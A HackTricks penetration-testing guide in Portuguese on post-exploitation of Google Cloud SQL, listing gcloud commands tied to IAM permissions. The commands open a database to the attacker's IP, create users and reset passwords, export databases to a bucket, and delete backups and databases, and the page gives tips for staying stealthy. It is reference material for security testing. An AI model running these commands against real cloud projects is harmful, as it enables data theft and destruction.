GCP - Cloud SQL Pós Exploração

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud SQL

Para mais informações sobre o Cloud SQL, consulte:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Para se conectar aos bancos de dados, você só precisa de acesso à porta do banco de dados e saber o nome de usuário e senha, não há requisitos de IAM. Portanto, uma maneira fácil de obter acesso, supondo que o banco de dados tenha um endereço IP público, é atualizar as redes permitidas e permitir que seu próprio endereço IP acesse-o.

bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Também é possível usar --no-backup para interromper os backups do banco de dados.

Como esses são os requisitos, não tenho certeza do que são as permissões cloudsql.instances.connect e cloudsql.instances.login. Se você souber, envie um PR!

cloudsql.users.list

Obtenha uma lista de todos os usuários do banco de dados:

bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Esta permissão permite criar um novo usuário dentro do banco de dados:

bash
gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Esta permissão permite atualizar o usuário dentro do banco de dados. Por exemplo, você poderia mudar sua senha:

bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups podem conter informações sensíveis antigas, então é interessante verificá-las.
Restaurar um backup dentro de um banco de dados:

bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Para fazê-lo de uma maneira mais furtiva, é recomendável criar uma nova instância SQL e recuperar os dados lá em vez de nas bases de dados atualmente em execução.

cloudsql.backupRuns.delete

Esta permissão permite excluir backups:

bash
gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exporte um banco de dados para um Bucket do Cloud Storage para que você possa acessá-lo a partir daí:

bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Importar um banco de dados (sobrescrever) de um Bucket do Cloud Storage:

bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Excluir um banco de dados da instância do db:

bash
gcloud sql databases delete <db-name> --instance <instance-id>

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks